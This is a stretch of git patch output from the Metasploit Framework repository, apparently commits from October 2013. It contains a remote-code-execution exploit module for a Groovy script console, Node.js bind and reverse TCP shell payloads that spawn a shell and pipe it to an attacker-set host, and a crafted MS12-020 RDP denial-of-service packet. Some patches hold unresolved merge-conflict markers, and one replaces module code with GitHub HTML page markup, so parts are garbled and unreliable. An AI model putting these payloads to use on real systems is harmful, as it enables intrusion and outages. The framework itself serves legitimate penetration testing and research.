'linux' }], + ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] ], - 'Privileged' => true, + 'Platform' => %w{ win linux unix }, + 'Privileged' => false, # Privileged on Windows but not on *nix targets 'DisclosureDate' => 'Oct 10 2013', 'DefaultTarget' => 0)) @@ -55,16 +58,12 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - # # Login # def login(user, pass) - @cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}" + res = send_request_cgi({ 'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="), 'method' => 'POST', @@ -75,6 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote 'submit' => 'Sign+in' } }) + res end @@ -86,14 +86,15 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"), 'cookie' => @cookie }) + if not res or res.code != 200 print_warning("#{peer} - Could not access the script console") end + if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/ @nonce = $1 vprint_status("#{peer} - Found token '#{@nonce}'") end - res end # @@ -112,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - Authenticated successfully as '#{user}'") # check access to the console print_status("#{peer} - Checking access to the script console") - res = get_nonce + get_nonce if @nonce.nil? return Exploit::CheckCode::Detected else @@ -134,13 +135,13 @@ class Metasploit3 < Msf::Exploit::Remote end end - def http_send_command(cmd, opts = {}) + def http_send_command(java) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce, 'cookie' => @cookie, 'vars_post' => { - 'code' => java_craft_runtime_exec(cmd) + 'code' => java # java_craft_runtime_exec(cmd) } }) if res and res.code == 200 and res.body =~ /Executed/ @@ -156,6 +157,8 @@ class Metasploit3 < Msf::Exploit::Remote else get_nonce end + + return res end # Stolen from jenkins_script_console.rb @@ -167,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" jcode << "String [] #{cmd_array} = new String[3];\n" - if target['Platform'] == 'win' + if @my_target['Platform'] == 'win' jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" jcode << "#{cmd_array}[1] = \"/c\";\n" else @@ -179,9 +182,15 @@ class Metasploit3 < Msf::Exploit::Remote jcode end + def java_get_os + jcode = "System.getProperty(\"os.name\").toLowerCase();" + + return jcode + end + def execute_command(cmd, opts = {}) vprint_status("#{peer} - Attempting to execute: #{cmd}") - http_send_command("#{cmd}") + http_send_command(java_craft_runtime_exec(cmd)) end # Stolen from jenkins_script_console.rb @@ -209,6 +218,32 @@ class Metasploit3 < Msf::Exploit::Remote @to_delete = "/tmp/#{file}" end + def get_target + res = http_send_command(java_get_os) + + if res and res.code == 200 and res.body =~ /"result":"(.*)","timeStatus/ + os = $1 + else + return nil + end + + case os + when /win/ + return targets[1] + when /linux/ + return targets[2] + when /nix/ + when /mac/ + when /aix/ + when /sunow/ + return targets[3] + else + return nil + end + + end + + def exploit # login @@ -224,21 +259,33 @@ class Metasploit3 < Msf::Exploit::Remote # check access to the console and get CSRF nonce print_status("#{peer} - Checking access to the script console") - res = get_nonce + get_nonce + + # check operating system + if target.name =~ /Automatic/ + print_status("#{peer} - Trying to detect the remote target...") + @my_target = get_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to detect the remote target") + else + print_good("#{peer} - #{@my_target.name} target found") + end + else + @my_target = target + end # send payload - case target['Platform'] + case @my_target['Platform'] when 'win' print_status("#{peer} - Sending VBS stager...") execute_cmdstager({:linemax => 2049}) when 'unix' print_status("#{peer} - Sending UNIX payload...") - http_send_command("#{payload.encoded}") + http_send_command(java_craft_runtime_exec(payload.encoded)) when 'linux' print_status("#{rhost}:#{rport} - Sending Linux stager...") linux_stager end - handler end end From 2c047cbf05d1e438eb5dceea3b3bbb746f8d8f41 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Fri, 11 Oct 2013 15:19:34 -0400 Subject: [PATCH 180/210] Fix an endianess issue in pymeterpreter registry_query_value. --- data/meterpreter/ext_server_stdapi.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b0b02b86e6..b64b7278e4 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -902,9 +902,12 @@ def stdapi_registry_query_value(request, response): if value_type.value == REG_SZ: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') elif value_type.value == REG_DWORD: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + value = value_data[:4] + value.reverse() + value = ''.join(map(chr, value)) + response += tlv_pack(TLV_TYPE_VALUE_DATA, value) else: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) return ERROR_SUCCESS, response return ERROR_FAILURE, response From 181606e7ccc99f8b59f9ed5db97d437b605a2309 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 11 Oct 2013 14:54:38 -0500 Subject: [PATCH 181/210] Single byte description update. Adds a period. --- modules/auxiliary/scanner/http/http_version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index eee1f5fd82..5374e5ea91 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'HTTP Version Detection', - 'Description' => 'Display version information about each system', + 'Description' => 'Display version information about each system.', 'Author' => 'hdm', 'License' => MSF_LICENSE ) From a1cf9619d94728a5656223db156a4ba6d22e97f9 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 11 Oct 2013 16:52:50 -0500 Subject: [PATCH 182/210] Be clear this is 64-bit only in the desc. --- modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index a411eb9592..a7eb9b6782 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2 + Tested against Windows 2008 R2, 64-bit. }, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'License' => MSF_LICENSE, From 6440a26f0482c0061d87d18da56c999e5d7f5cca Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 12 Oct 2013 03:19:06 -0500 Subject: [PATCH 183/210] Move shared Node.js payload logic to mixin. - this fixes the recursive loading issue when creating a payload inside the cmd payload - also dries up some of the node cmd invocation logic. --- lib/msf/core/payload/nodejs.rb | 60 +++++++++++++++++++ .../payloads/singles/cmd/unix/bind_nodejs.rb | 6 +- .../singles/cmd/unix/reverse_nodejs.rb | 6 +- .../payloads/singles/nodejs/shell_bind_tcp.rb | 23 +------ .../singles/nodejs/shell_reverse_tcp.rb | 22 +------ 5 files changed, 72 insertions(+), 45 deletions(-) create mode 100644 lib/msf/core/payload/nodejs.rb diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb new file mode 100644 index 0000000000..9f4e837447 --- /dev/null +++ b/lib/msf/core/payload/nodejs.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::NodeJS + # Outputs a javascript snippet that spawns a bind TCP shell + # @return [String] javascript code that executes bind TCP payload + def nodejs_bind_tcp + cmd = <<-EOS + (function(){ + var require = global.require || global.process.mainModule.constructor._load; + if (!require) return; + + var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; + var net = require("net"), + cp = require("child_process"), + util = require("util"); + + var server = net.createServer(function(socket) { + var sh = cp.spawn(cmd, []); + socket.pipe(sh.stdin); + util.pump(sh.stdout, socket); + util.pump(sh.stderr, socket); + }); + server.listen(#{datastore['LPORT']}); + })(); + EOS + cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'') + end + + # Outputs a javascript snippet that spawns a reverse TCP shell + # @return [String] javascript code that executes reverse TCP payload + def nodejs_reverse_tcp + lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] + cmd = <<-EOS + (function(){ + var require = global.require || global.process.mainModule.constructor._load; + if (!require) return; + var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; + var net = require("net"), + cp = require("child_process"), + util = require("util"), + sh = cp.spawn(cmd, []); + var client = this; + client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", function() { + client.socket.pipe(sh.stdin); + util.pump(sh.stdout, client.socket); + util.pump(sh.stderr, client.socket); + }); + })(); + EOS + cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'') + end + + # Wraps the javascript code param in a "node" command invocation + # @param [String] code the javascript code to run + # @return [String] a command that invokes "node" and passes the code + def nodejs_cmd(code) + "node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'" + end +end diff --git a/modules/payloads/singles/cmd/unix/bind_nodejs.rb b/modules/payloads/singles/cmd/unix/bind_nodejs.rb index 48a017842c..542ca6365d 100644 --- a/modules/payloads/singles/cmd/unix/bind_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/bind_nodejs.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -36,8 +38,6 @@ module Metasploit3 end def command_string - payload = framework.payloads.create('nodejs/shell_bind_tcp') - payload.datastore.merge! datastore - "node -e 'eval(\"#{Rex::Text.to_hex(payload.generate, "\\x")}\");'" + nodejs_cmd(nodejs_bind_tcp) end end diff --git a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb index 3fcf712ef7..e3295e7e11 100644 --- a/modules/payloads/singles/cmd/unix/reverse_nodejs.rb +++ b/modules/payloads/singles/cmd/unix/reverse_nodejs.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -36,8 +38,6 @@ module Metasploit3 end def command_string - payload = framework.payloads.create('nodejs/shell_reverse_tcp') - payload.datastore.merge! datastore - "node -e 'eval(\"#{Rex::Text.to_hex(payload.generate, "\\x")}\");'" + nodejs_cmd(nodejs_reverse_tcp) end end diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 74f35792e2..0135befa97 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -10,12 +10,14 @@ # settle for just getting shells on nodejs. require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -44,25 +46,6 @@ module Metasploit3 # Returns the JS string to use for execution # def command_string - cmd = <<EOS -(function(){ - var require = global.require || global.process.mainModule.constructor._load; - if (!require) return; - - var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; - var net = require("net"), - cp = require("child_process"), - util = require("util"); - - var server = net.createServer(function(socket) { - var sh = cp.spawn(cmd, []); - socket.pipe(sh.stdin); - util.pump(sh.stdout, socket); - util.pump(sh.stderr, socket); - }); - server.listen(#{datastore['LPORT']}); -})(); -EOS - return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}" + nodejs_bind_tcp end end diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index d36168e685..1957581af6 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -10,12 +10,14 @@ # settle for just getting shells on nodejs. require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -44,24 +46,6 @@ module Metasploit3 # Returns the JS string to use for execution # def command_string - lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] - cmd = <<EOS -(function(){ - var require = global.require || global.process.mainModule.constructor._load; - if (!require) return; - var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; - var net = require("net"), - cp = require("child_process"), - util = require("util"), - sh = cp.spawn(cmd, []); - var client = this; - client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", function() { - client.socket.pipe(sh.stdin); - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); - }); -})(); -EOS - return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}" + nodejs_reverse_tcp end end From c7bcc97dff99f812bc2c13d5d2709788b55b9477 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Sat, 12 Oct 2013 03:32:52 -0500 Subject: [PATCH 184/210] Add SSL support to #nodejs_reverse_tcp. --- lib/msf/core/payload/nodejs.rb | 16 +++++++++++--- .../singles/nodejs/shell_reverse_tcp_ssl.rb | 22 +++---------------- 2 files changed, 16 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb index 9f4e837447..3ae0de1ab3 100644 --- a/lib/msf/core/payload/nodejs.rb +++ b/lib/msf/core/payload/nodejs.rb @@ -28,20 +28,30 @@ module Msf::Payload::NodeJS end # Outputs a javascript snippet that spawns a reverse TCP shell + # @param [Hash] opts the options to create the reverse TCP payload with + # @option opts [Boolean] :use_ssl use SSL when communicating with the shell. defaults to false. # @return [String] javascript code that executes reverse TCP payload - def nodejs_reverse_tcp + def nodejs_reverse_tcp(opts={}) + use_ssl = opts.fetch(:use_ssl, false) + tls_hash = if use_ssl then '{rejectUnauthorized:false}, ' else '' end + net_lib = if use_ssl then 'tls' else 'net' end lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] + # the global.process.mainModule.constructor._load fallback for require() is + # handy when the payload is eval()'d into a sandboxed context: the reference + # to 'require' is missing, but can be looked up from the 'global' object. + # + # however, this fallback might break in later versions of nodejs. cmd = <<-EOS (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; - var net = require("net"), + var net = require("#{net_lib}"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; - client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", function() { + client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { client.socket.pipe(sh.stdin); util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index e57e752c46..becbc7a8e9 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::NodeJS include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -41,24 +43,6 @@ module Metasploit3 # Returns the JS string to use for execution # def command_string - lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] - cmd = <<EOS -(function(){ - var require = global.require || global.process.mainModule.constructor._load; - if (!require) return; - var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; - var tls = require("tls"), - cp = require("child_process"), - util = require("util"), - sh = cp.spawn(cmd, []); - var client = this; - client.socket = tls.connect(#{datastore['LPORT']}, "#{lhost}", {rejectUnauthorized:false}, function() { - client.socket.pipe(sh.stdin); - util.pump(sh.stdout, client.socket); - util.pump(sh.stderr, client.socket); - }); -})(); -EOS - return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}" + nodejs_reverse_tcp(:use_ssl => true) end end From 4e50c574c5a858a18745d1e1ba824e19c85e2ff4 Mon Sep 17 00:00:00 2001 From: darknight007 <waqas.bsquare@gmail.com> Date: Mon, 30 Sep 2013 13:43:26 +0500 Subject: [PATCH 185/210] Update ms12_020_maxchannelids.rb ms12_020_maxchannelids.rb produces a call stack when the connection is timed out. To reproduct, just run the module against a system having no RDP enabled. --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 25d34c2c8d..04f97c677c 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -65,6 +65,7 @@ class Metasploit3 < Msf::Auxiliary def run max_channel_ids = "\x02\x01\xff" +<<<<<<< HEAD pkt = ''+ "\x03\x00\x00\x13" + # TPKT: version + length "\x0E\xE0\x00\x00" + # X.224 (connection request) @@ -160,4 +161,101 @@ class Metasploit3 < Msf::Auxiliary end end +======= + pkt = ''+ + "\x03\x00\x00\x13" + # TPKT: version + length + "\x0E\xE0\x00\x00" + # X.224 (connection request) + "\x00\x00\x00\x01" + + "\x00\x08\x00\x00" + + "\x00\x00\x00" + + "\x03\x00\x00\x6A" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 (connect-initial) + "\x7F\x65\x82\x00" + # T.125 + "\x5E" + + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # calledDomainSelector + "\x01\x01\xFF" + # upwardFlag + "\x30\x19" + # targetParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # minimumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maximumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x04\x82\x00\x00" + # userData + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x0C" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x38\x00\x06\x03" + # T.125 + "\xF0" + + "\x03\x00\x00\x09" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x21\x80" # T.125 + if is_rdp_up + connect + print_status("#{rhost}:#{rport} - Sending #{self.name}") + sock.put(pkt) + select(nil, nil, nil, 3) + disconnect + print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") + + print_status("#{rhost}:#{rport} - Checking RDP status...") + if not is_rdp_up + print_good("#{rhost}:#{rport} seems down") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully crashed the target system via RDP" + }) + else + print_status("#{rhost}:#{rport} is still up") + end + end + end +>>>>>>> Update ms12_020_maxchannelids.rb end From 602fd276bcd3a513d023dc9f45524614562e7737 Mon Sep 17 00:00:00 2001 From: darknight007 <waqas.bsquare@gmail.com> Date: Sat, 12 Oct 2013 16:20:26 +0500 Subject: [PATCH 186/210] using theirs --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 105 +++++++++--------- 1 file changed, 54 insertions(+), 51 deletions(-) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 04f97c677c..b93232252e 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -9,61 +9,61 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Dos +include Msf::Auxiliary::Report +include Msf::Exploit::Remote::Tcp +include Msf::Auxiliary::Dos - def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', - 'Description' => %q{ - This module exploits the MS12-020 RDP vulnerability originally discovered and - reported by Luigi Auriemma. The flaw can be found in the way the T.125 - ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result - an invalid pointer being used, therefore causing a denial-of-service condition. - }, - 'References' => - [ - [ 'CVE', '2012-0002' ], - [ 'MSB', 'MS12-020' ], - [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], - [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], - [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], - [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], - [ 'EDB', '18606' ], - [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ] - ], - 'Author' => - [ - 'Luigi Auriemma', - 'Daniel Godas-Lopez', # Entirely based on Daniel's pastie - 'Alex Ionescu', - 'jduck', - '#ms12-020' # Freenode IRC - ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => "Mar 16 2012" - )) +def initialize(info = {}) +super(update_info(info, +'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', +'Description' => %q{ +This module exploits the MS12-020 RDP vulnerability originally discovered and +reported by Luigi Auriemma. The flaw can be found in the way the T.125 +ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result +an invalid pointer being used, therefore causing a denial-of-service condition. +}, +'References' => +[ +[ 'CVE', '2012-0002' ], +[ 'MSB', 'MS12-020' ], +[ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], +[ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], +[ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], +[ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], +[ 'EDB', '18606' ], +[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ] +], +'Author' => +[ +'Luigi Auriemma', +'Daniel Godas-Lopez', # Entirely based on Daniel's pastie +'Alex Ionescu', +'jduck', +'#ms12-020' # Freenode IRC +], +'License' => MSF_LICENSE, +'DisclosureDate' => "Mar 16 2012" +)) - register_options( - [ - Opt::RPORT(3389) - ], self.class) - end +register_options( +[ +Opt::RPORT(3389) +], self.class) +end - def is_rdp_up - begin - connect - return true - rescue Rex::ConnectionRefused - return false - rescue Rex::ConnectionTimeout - return false - end - end +def is_rdp_up +begin +connect +return true +rescue Rex::ConnectionRefused +return false +rescue Rex::ConnectionTimeout +return false +end +end - def run - max_channel_ids = "\x02\x01\xff" +def run +max_channel_ids = "\x02\x01\xff" <<<<<<< HEAD pkt = ''+ @@ -257,5 +257,8 @@ class Metasploit3 < Msf::Auxiliary end end end +<<<<<<< HEAD >>>>>>> Update ms12_020_maxchannelids.rb +======= +>>>>>>> f1ab7b51b1c7bef02d1fc094ba591a03303bef10 end From e1b9f1a3c4c67e5686361537f8e19c2f24a416a9 Mon Sep 17 00:00:00 2001 From: darknight007 <waqas.bsquare@gmail.com> Date: Sat, 12 Oct 2013 16:36:37 +0500 Subject: [PATCH 187/210] modified ms12-020 module to resolve stack print --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 4691 ++++++++++++++++- 1 file changed, 4436 insertions(+), 255 deletions(-) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 249dcffa64..bd85ec7c79 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -1,267 +1,4448 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## -require 'msf/core' -class Metasploit3 < Msf::Auxiliary -include Msf::Auxiliary::Report -include Msf::Exploit::Remote::Tcp -include Msf::Auxiliary::Dos +<!DOCTYPE html> +<html> + <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# githubog: http://ogp.me/ns/fb/githubog#"> + <meta charset='utf-8'> + <meta http-equiv="X-UA-Compatible" content="IE=edge"> + <title>metasploit-framework/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb at 5dcff47b1efa5359562a28b5717a9f4895185597 · jvazquez-r7/metasploit-framework · GitHub</title> + <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub" /> + <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub" /> + <link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-114.png" /> + <link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114.png" /> + <link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-144.png" /> + <link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144.png" /> + <link rel="logo" type="image/svg" href="https://github-media-downloads.s3.amazonaws.com/github-logo.svg" /> + <meta property="og:image" content="https://github.global.ssl.fastly.net/images/modules/logos_page/Octocat.png"> + <meta name="hostname" content="github-fe114-cp1-prd.iad.github.net"> + <meta name="ruby" content="ruby 1.9.3p194-tcs-github-tcmalloc (2012-05-25, TCS patched 2012-05-27, GitHub v1.0.36) [x86_64-linux]"> + <link rel="assets" href="https://github.global.ssl.fastly.net/"> + <link rel="conduit-xhr" href="https://ghconduit.com:25035/"> + <link rel="xhr-socket" href="/_sockets" /> + -def initialize(info = {}) -super(update_info(info, -'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', -'Description' => %q{ -This module exploits the MS12-020 RDP vulnerability originally discovered and -reported by Luigi Auriemma. The flaw can be found in the way the T.125 -ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result -an invalid pointer being used, therefore causing a denial-of-service condition. -}, -'References' => -[ -[ 'CVE', '2012-0002' ], -[ 'MSB', 'MS12-020' ], -[ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], 